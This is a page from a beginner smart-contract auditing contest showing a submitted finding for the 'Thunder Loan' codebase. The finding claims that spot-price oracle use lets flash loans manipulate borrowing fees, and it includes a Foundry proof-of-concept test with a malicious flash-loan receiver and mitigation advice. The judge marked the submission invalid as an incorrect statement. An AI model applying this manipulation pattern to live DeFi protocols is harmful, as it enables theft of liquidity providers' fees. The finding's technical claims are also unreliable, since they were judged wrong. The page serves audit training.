Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

[M-02] Use of spot price from TSwap AMM allows flash loan fee manipulation via sandwich/price dumping

Description

The ThunderLoan::getCalculatedFee function calculates the borrowing fee based on the token's price in WETH, which it fetches directly from the TSwap DEX pool:

Solidity

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

Because getPriceInWeth queries the current reserves of the TSwapPool, it returns the instant spot price. An attacker can take a flash loan, swap a large amount of tokenA for WETH within the TSwap pool to heavily devalue tokenA, and subsequently take further flash loans with near-zero fees.

Risk Assessment

  • Likelihood: High. Anyone can execute this within a single transaction using flash loans or flash swaps without price slippage risk.

  • Impact: Medium. Liquidity providers lose fee revenue, undermining the protocol's economic incentives.

Proof of Concept

Add the following test to your test suite:

Solidity

function testOracleManipulation() public {
thunderLoan = new ThunderLoan();
proxy = new ERC1967Proxy(address(thunderLoan), "");
BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
address tswapPool = pf.createPool(address(tokenA));
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
// Fund TSwap liquidity pool
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
tokenA.approve(address(tswapPool), 100e18);
weth.mint(liquidityProvider, 100e18);
weth.approve(address(tswapPool), 100e18);
BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
vm.stopPrank();
// Fund ThunderLoan pool
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 1000e18);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(tokenA, 1000e18);
vm.stopPrank();
uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
uint256 amountToBorrow = 50e18;
MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
address(tswapPool),
address(thunderLoan),
address(thunderLoan.getAssetFromToken(tokenA))
);
vm.startPrank(user);
tokenA.mint(address(flr), 100e18);
thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
vm.stopPrank();
uint256 attackFee = flr.feeOne() + flr.feeTwo();
assertLt(attackFee, normalFeeCost);
}

Recommended Mitigation

  1. Decentralized Oracle (Primary Recommendation): Use Chainlink Price Feeds instead of decentralized exchange spot reserves to get reliable, manipulation-resistant pricing.

  2. TWAP (Alternative): If AMM pricing is required, use a Time-Weighted Average Price (TWAP) with a sufficiently large window (e.g., Uniswap v3 TWAP / 30-minute observation window) rather than instant spot reserves.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!